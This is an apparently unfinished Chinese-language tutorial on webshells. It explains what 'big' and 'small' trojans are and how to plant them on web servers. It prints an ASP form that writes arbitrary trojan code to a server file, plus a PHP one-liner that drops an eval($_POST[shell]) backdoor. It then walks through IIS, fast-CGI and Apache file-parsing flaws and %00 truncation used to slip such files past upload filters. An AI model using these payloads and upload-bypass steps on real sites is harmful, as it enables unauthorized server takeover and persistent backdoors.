webshell简介
webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途(........百度啊百度啊百度啊你特么不会百度吗!!!!!)
webshell的分类
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
根据功能也分为大马与小马(自己百度)
服务器配置(即本机配置):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <form?action=http://主机路径/TEXT.asp method=post> <textarea?name=value?cols=120?rows=10?width=45>?? set?lP=server.createObject("Adodb.Stream")//建立流对象 lP.Open?//打开 lP.Type=2?//以文本方式 lP.CharSet="gb2312"?//字体标准 lP.writetext?request("newvalue")?? lP.SaveToFile?server.mappath("newmm.asp"),2?//将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式 lP.Close?//关闭对象 set?lP=nothing?//释放对象 response.redirect?"newmm.asp"?//转向newmm.asp?? </textarea> <textarea?name=newvalue?cols=120?rows=10?width=45>(添入生成木马的内容) </textarea> <BR> <center> <br> <input?type=submit?value=提交> |
这里通过提交表单的方式,将木马提交上去,具体的做法是以文本方式写入newvalue里面的内容,产生ASP文件,再执行这个脚本。
大马的工作模式简单的多,客户端服务端通用,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是因为大马的功能较多,体积相对较大,很有可能超出了上传限制,这时我们就需要小马了。小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。
二、上传webshell
1.解析漏洞上传
针对不同版本服务器进行解析漏洞上传
(1)iis目录解析漏洞
比如:/xx.asp/xx.jpg
虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析。
(2)文件解析漏洞
比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
?
(3)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:
1 | <?php?fputs(fopen('fuck.php','w'),'<?php?eval($_POST[shell])?>');?> |
这里使用的fput创建一个fuck.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马fuck.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。
(4)apache解析漏洞
将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,绕过就完事了
2.截断上传
在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
-----------------未完待续
?
|